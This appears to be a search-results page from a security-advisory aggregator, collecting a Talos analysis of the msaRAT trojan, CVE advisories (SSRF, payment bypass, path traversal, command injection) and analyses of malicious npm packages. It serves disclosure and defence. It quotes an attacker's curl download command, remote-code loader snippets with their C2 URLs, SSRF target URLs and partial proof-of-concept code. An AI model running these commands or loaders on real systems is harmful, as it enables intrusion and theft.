Search: res.in

Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”. msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications. This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser. msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay. Overview of Chaos ransomware Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog. Figure 1. Chaos ransomware leak site. Infection chain Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT. Figure 2. Infection chain. After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update. Figure 3. Properties of “update_ms.msi” When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize . This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3 , directly into memory. Figure 4. Structure of the MSI file. lib.dll (msaRAT) msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN , which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note. Tokio runtime initialization Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async / await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is res…

CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. Prior to version 13.10.0, every route in the ESRI helper family (api/routes/esri.ts) takes a fully attacker-controlled URL from the request (POST /api/esri body url, and the portal / server / layer query parameters on the GET /api/esri/* routes) and passes it into EsriBase / EsriProxyPortal / EsriProxyServer / EsriProxyLayer in api/lib/esri.ts, which fetch it with the bare fetch from @tak-ps/etl. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges. Any authenticated user (the routes only require Auth.is_auth(config, req, { anyResources: true }), i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (169.254.169.254), loopback admin ports (127.0.0.1:<port>), and other hosts reachable only from inside the deployment VPC. This is a full-read SSRF, not blind: on success the upstream JSON body is returned to the caller via res.json(...), and on failure the upstream error string is reflected verbatim as ESRI Server Error: <message>. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies. The sniff() URL classifier provides no protection: it only pattern-matches the pathname (/rest, /arcgis/rest, /sharing/rest), so a URL like http://169.254.169.254/arcgis/rest or http://127.0.0.1:8500/rest passes sniff() and is fetched. This issue has been patched in version 13.10.0.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2c911dfdf99f0c6e13cb9e55883a5c2e17cca0b78d3149e38c0cafb6320ea742) The package advertises itself as Express security middleware (XSS/SQLi protection, input sanitization) but the middleware returned to Express is a no-op that only calls next(). The real behavior is triggered when the exported expressSecurity() is invoked (e.g. via the README-recommended `app.use(expressSecurity())`): index.js spawns a detached `node lib/caller.js` child process (stdio ignored, detached=true so it survives the parent). caller.js fetches a hardcoded plain-HTTP endpoint at http://server-genimi-check.vercel.app/defy/v3 and, on a 404 response, passes the response body's `token` field to `new (Function.constructor)("require", res.token)` and invokes it with the real `require` bound — executing attacker-supplied JavaScript in the installer's Node process with full module access. A secondary payload URL is base64-hidden in lib/const.js (DEV_API_KEY decodes to https://jsonkeeper.com/b/4NAKK, a public paste service used as a mutable config/C2 channel). The security-middleware name, README, and no-op middleware shim are cover for the remote code loader; the plain-HTTP transport and paste-hosted secondary channel let the operator swap the executed payload at any time without republishing.

The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to Payment Bypass via Improper Verification of Cryptographic Signature in all versions up to, and including, 2.7.4. The `corvuspay_success_handler` function registers the REST endpoint `POST /wp-json/corvuspay/success/` with `'permission_callback' => '__return_true'`, and while it calls `$this->client->validate->signature()` and stores the boolean result in `$res`, the result is never evaluated in a conditional — it is only written to the debug log — causing execution to unconditionally reach `$order->payment_complete()` regardless of whether the cryptographic signature is valid. This makes it possible for unauthenticated attackers to mark any pending WooCommerce order as fully paid by sending a POST request to the success endpoint containing an arbitrary or forged signature value, allowing them to obtain goods or services without payment. Because WooCommerce order IDs are sequential integers, target orders are trivially enumerable via the `order_number` POST parameter, requiring no prior knowledge of the victim order.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (38236fbbdbbaa8f8ed9315c3a4ff01fbf049215896036b1cb68611681fe0eb00) chai-redirection presents itself as a chai assertion plugin but its main entry (index.js) unconditionally spawns a detached Node child process running lib/caller.js the moment the package is required. caller.js issues an HTTPS GET to https://www.jsonkeeper.com/b/PC5CK (a mutable pastebin-style host) and passes the response body's `cookie` field to `new Function('require', res.data.cookie)(require)`, executing attacker-controlled JavaScript in the installer's Node process with full `require` access. A secondary code path builds a URL from lib/config values, and on a 404 response whose body carries a `token` field, constructs `new Function.constructor('require', res.token)` and invokes it with `require` — a second remote-code-execution channel. The advertised chai plugin API (validJWT, safeString, etc.) is a cover story: the loader runs before any exports are used, so merely requiring this package as a chai plugin triggers remote code execution. The mutable pastebin source means today's payload can be replaced with anything at any time without republishing the package. ## Source: ghsa-malware (996d340e8231861ae21a30061eda3164b993e15bd08346375d8f886824b4fb6f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the safe_url filter in src/mistune/renderers/html.py blocks only javascript:, vbscript:, file:, and data: schemes, allowing legacy or chained schemes such as feed:, view-source:, jar:, livescript:, mocha:, ms-its:, mk:, and res: to reach rendered href and src attributes and potentially execute script in affected user agents. This issue is fixed in version 3.3.0.

AWS Research and Engineering Studio (RES) is an open-source solution that enables researchers and engineers to create and manage secure virtual desktops and computing resources on AWS. Improper link resolution before file access issue (CWE-59) in the Auth.GetUserPrivateKey API. An authenticated remote user could read arbitrary files on the cluster-manager EC2 instance by replacing their SSH private key file (~/.ssh/id_rsa) with a symbolic link targeting any file on the host. Because the cluster-manager process runs as root, any file readable by root is exposed, including other users' SSH private keys and application configuration secrets. It's recommended to upgrade to RES version 2026.06.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (540ace1cb8bc936ea953554a9ffc28203370f82cb5e5a7dfbf1454bf0e834b9a) On `require('mongoose-lean-hooks')`, the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a `token` string field, that server-controlled string is passed to `Function.constructor` with `require` bound in and immediately invoked (`const handler = new (Function.constructor)("require", res.token); handler(require);`), yielding arbitrary code execution in the consumer's Node process with full `require` access. The endpoint, path, and header token are hidden in test/config_test.js under a `module.exports` shaped like a benign test fixture and imported by the production entry — a deliberate evasion to make reviewers skim past the C2 configuration as test scaffolding. The package name and description mimic the legitimate mongoose plugin ecosystem (advertising createdAt/updatedAt timestamp functionality) to encourage installs. The plaintext HTTP destination and dynamic-payload design mean the attacker can change the delivered code at any time without republishing. ## Source: ghsa-malware (51f21ca8cb459221a26134e631f974e5a26cb292386a957c75da31b538119c61) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

A massive campaign distributes malicious installer archives hosted on spoofed websites masquerading as popular software like OBS Studio, DNS Jumper, DS4Windows, and Bandicam. Over 90 domain names localized across 10 languages were discovered. The malicious archives bundle a legitimate Microsoft-signed install.exe binary with a rogue install.res.1033.dll library deployed via DLL sideloading. This installs the ScreenConnect remote access service, which then deploys AsyncRAT payloads through PowerShell and VBS scripts. The threat actors leverage SEO techniques to position fraudulent sites at the top of search engine results, targeting both individual users and corporate networks. The infrastructure spans three IP addresses with domains registered between October 2025 and March 2026, creating a global footprint with multi-language support.

## Summary The local HTTP server started by `nx graph` sent `Access-Control-Allow-Origin: *` on every response, letting any website a developer visited read the server's responses cross-origin — including the full project graph and the output of the `/help` endpoint, which runs a target's configured help command. The practical impact is typically **cross-origin information disclosure**, but can be arbitrary command injection in rare cases. ## Severity Exploitation requires the developer to be running `nx graph` and to visit an attacker page. Any execution beyond benign help commands also requires a malicious target to already be present in the workspace (see Details). ## Affected & Patched Versions Package: `nx` (npm). - **Affected:** `>= 17.0.4, < 22.7.2` and `>= 23.0.0-beta.0, < 23.0.0-beta.2` - **Patched:** `22.7.2`+ (backport) and `23.0.0` (first in `23.0.0-beta.2`) The wildcard CORS header was introduced in `17.0.4`; the `/help` execution endpoint in `19.4.0`. **The `21.x` line is not patched** — `21.x` users should upgrade to `22.7.2` or later. ## Details `nx graph` starts a local server (default `http://127.0.0.1:4211`). Before the fix, its request handler set a wildcard CORS header on every response: ```ts res.setHeader('Access-Control-Allow-Origin', '*'); ``` The `/help` endpoint runs a target's configured command: ```ts const command = target.metadata?.help?.command; return execSync(command, { cwd: target.options?.cwd ?? workspaceRoot }).toString(); ``` A `GET /help` is a CORS "simple request", so a malicious page could `fetch()` it with no preflight, and the wildcard header let the page read the result. This exposes the project graph (project names, file paths, dependencies, build configuration) and the output of any configured help command. The command is not attacker-controlled through the request — it comes from the workspace's project configuration, and first-party plugins (jest, vite, cypress) populate it with benign, read-only help commands. For `/help` to run anything malicious, a target carrying a malicious `help.command` must already exist in the project graph, which can only be introduced by **installing a malicious package** or by **altering the workspace's own code/configuration** — both of which already grant code execution independent of this flaw. The fix ([#35494](https://github.com/nrwl/nx/pull/35494)) removes the header; the browser's same-origin policy then blocks cross-origin reads. ## References - Fix: [nrwl/nx#35494](https://github.com/nrwl/nx/pull/35494) - Introduced: [nrwl/nx#20744](https://github.com/nrwl/nx/pull/20744) (CORS), [nrwl/nx#26629](https://github.com/nrwl/nx/pull/26629) (`/help`) ## Credits Thanks to Nozomu Sasaki (Paul) ([@morimori-dev](https://github.com/morimori-dev)) for finding and responsibly reporting this issue.

### Summary When `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header: ```js proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}` ``` That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an **unauthenticated remote** attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0` (latest); no fixed release exists. - **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is configured with `prettyUrls: true` and uploadfs is **local** (the default; S3/CDN deployments produce an absolute `uglyUrl` and are not affected). ### Details `modules/@apostrophecms/file/index.js` (excerpt; the public GET route registered when `prettyUrls: true`): ```js if (!self.options.prettyUrls) return; return { get: { async [`${self.options.prettyUrlDir}/*`](req, res) { const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/); if (!matches) return res.status(400).send('invalid'); const [ , slug ] = matches; if (slug.includes('..') || slug.includes('/')) { return res.status(403).send('forbidden'); } const file = await self.find(req, { slug: `${self.options.slugPrefix}${slug}` }).toObject(); if (!file) return res.status(404).send('not found'); const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false }); const proxyUrl = uglyUrl.startsWith('/') ? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink : uglyUrl; return await streamProxy(req, proxyUrl, { error: self.apos.util.error }); } } }; ``` `lib/stream-proxy.js` (excerpt): ```js module.exports = async function(req, url, { error }) { const res = req.res; if (url.startsWith('/')) url = `${req.baseUrl}${url}`; let response; try { response = await fetch(url); } // <-- attacker-steered fetch catch (e) { return send502(e); } for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) { const v = response.headers.get(header); if (v != null) res.header(header, v); } res.status(response.status); response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... })); }; ``` `req.get('host')` returns the unvalidated `Host` HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed `proxyUrl` against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels). Prerequisites are minimal: `prettyUrls: true` (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content). **Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6** ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in `@apostrophecms/file`, via the `Host` header. ### PoC Three services on an isolated Docker network: `mongo`, `internal` (returns a fake secret, **never exposed to the host**), `apos:3000` (the only port the host can reach). The host attacker proves it cannot reach `internal` directly, then exfiltrates `internal`'s response via one crafted request to `apos`. `app.js` (normal apostrophe site, documented option only): ```js require('apostrophe')({ shortName: 'apos-ssrf-poc', autoBuild: false, modules: { '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } }, '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } }, '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } }, '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } }, 'poc-seed': {} // seeds one file doc on boot (= what an admin does

### Impact A Server-Side Request Forgery (SSRF) vulnerability exists in `@angular/platform-server`. The issue stems from how the server-side rendering (SSR) engine processes the request URL provided to the rendering entry points. When an absolute-form URL (e.g., `http://evil.com`) is passed to the rendering engine, the internal `ServerPlatformLocation` can be manipulated into adopting the attacker-controlled domain as the "current" hostname. Consequently, any relative `HttpClient` requests or `PlatformLocation.hostname` references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services. ### Fix Information The vulnerability is mitigated by introducing an Allowlist Mechanism directly into the core rendering APIs. The renderModule and renderApplication functions now include an allowedHosts configuration option. The rendering engine validates the hostname extracted from the request URL against this list before proceeding. If the hostname does not match an allowed entry, the engine prevents the hostname hijacking, ensuring that HttpClient requests remain restricted to trusted domains. ### Patches - 22.0.0-next.12 - 21.2.13 - 20.3.21 - 19.2.22 ### Workarounds Developers unable to update immediately should implement strict URL validation in their server entry point (e.g., `server.ts`). Ensure that `req.url` is validated against a known list of trusted hostnames or normalized to a relative path before being passed to`renderApplication` or `renderModule`. ```TypeScript // Example manual normalization in Express app.get('*', (req, res, next) => { const trustedHost = 'localhost:4000'; // Ensure the request target matches expectations if (req.headers.host !== trustedHost) { return res.status(403).send('Forbidden'); } next(); }); ```

A sophisticated multi-stage infection chain was identified through proactive threat hunting, beginning with the execution of MicrosoftToolkit.exe, a commonly abused hack tool. The attack employed file masquerading techniques, renaming a .dot file to .bat format to evade detection. The malware performed process discovery and attempted to terminate security-related processes before extracting payloads using extract32.exe. An AutoIt-compiled executable (Replies.scr) functioned as a loader, processing an external encrypted payload file and establishing command-and-control communication with infrastructure associated with Vidar Stealer. The malware demonstrated advanced anti-analysis capabilities, including debugger detection and instrumentation callback queries. It targeted credentials, browser data, cryptocurrency wallets, and system information. Post-execution cleanup routines deleted artifacts and terminated processes to minimize forensic evidence and evade detection, significantly complicating incident res...

i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware wrote user-controlled language values into the Content-Language response header after passing them through utils.escape(), which is an HTML-entity encoder that does not strip carriage return, line feed, or other control characters. When the application used an older i18next (< 19.5.0) that still exercised the backward-compatibility fallback at LanguageDetector.js:100 or otherwise produced a raw detected value, CRLF sequences in the attacker-controlled lng parameter reached res.setHeader('Content-Language', ...) verbatim. This issue has been patched in version 3.9.3.

Apktool is a tool for reverse engineering Android APK files. In versions 3.0.0 and 3.0.1, a path traversal vulnerability in `brut/androlib/res/decoder/ResFileDecoder.java` allows a maliciously crafted APK to write arbitrary files to the filesystem during standard decoding (`apktool d`). This is a security regression introduced in commit e10a045 (PR #4041, December 12, 2025), which removed the `BrutIO.sanitizePath()` call that previously prevented path traversal in resource file output paths. An attacker can embed `../` sequences in the `resources.arsc` Type String Pool to escape the output directory and write files to arbitrary locations, including `~/.ssh/config`, `~/.bashrc`, or Windows Startup folders, escalating to RCE. The fix in version 3.0.2 re-introduces `BrutIO.sanitizePath()` in `ResFileDecoder.java` before file write operations.

CVE-2026-5709 is a high-severity OS command injection vulnerability in AWS Research and Engineering Studio (RES) versions 2024.10 through 2025.12.01. It arises from unsanitized input in the FileBrowser API, allowing a remote authenticated user to execute arbitrary commands on the cluster-manager EC2 instance. AWS has released a fix in RES version 2026.03 and provides a mitigation patch for existing environments. This vulnerability requires authenticated access and does not have known exploits in the wild at this time.

CVE-2026-5708 is a high-severity vulnerability in AWS Research and Engineering Studio (RES) prior to version 2026.03. It involves improper control of user-modifiable attributes during session creation, allowing an authenticated remote user to escalate privileges and assume the virtual desktop host instance profile permissions. This could enable interaction with AWS resources and services beyond intended access. AWS manages the remediation for this cloud service and advises upgrading to version 2026.03 or applying the corresponding mitigation patch. No known exploits in the wild have been reported.

CVE-2026-5707 is an OS command injection vulnerability in AWS Research and Engineering Studio (RES) versions 2025.03 through 2025.12.01. It arises from unsanitized input in the handling of virtual desktop session names, allowing a remote authenticated user to execute arbitrary commands as root on the virtual desktop host. AWS has released a fix in version 2026.03 and recommends upgrading or applying the mitigation patch.

CVE-2026-5454 is a medium severity vulnerability in the GRID Organiser App for Android versions up to 1.0.5. It involves the use of a hard-coded cryptographic key in a component related to the file res/raw/app.json. The vulnerability requires local access and does not need user interaction. Although an exploit has been publicly disclosed, no known exploits are reported in the wild. The vulnerability has not been confirmed as patched yet.

CVE-2025-12815 is a medium severity vulnerability in AWS Research and Engineering Studio (RES) before version 2025.09. It involves an ownership verification flaw on the Virtual Desktop preview page that could allow an authenticated user to view metadata and periodic screenshots of another user's active desktop session. This issue is fixed in version 2025.09.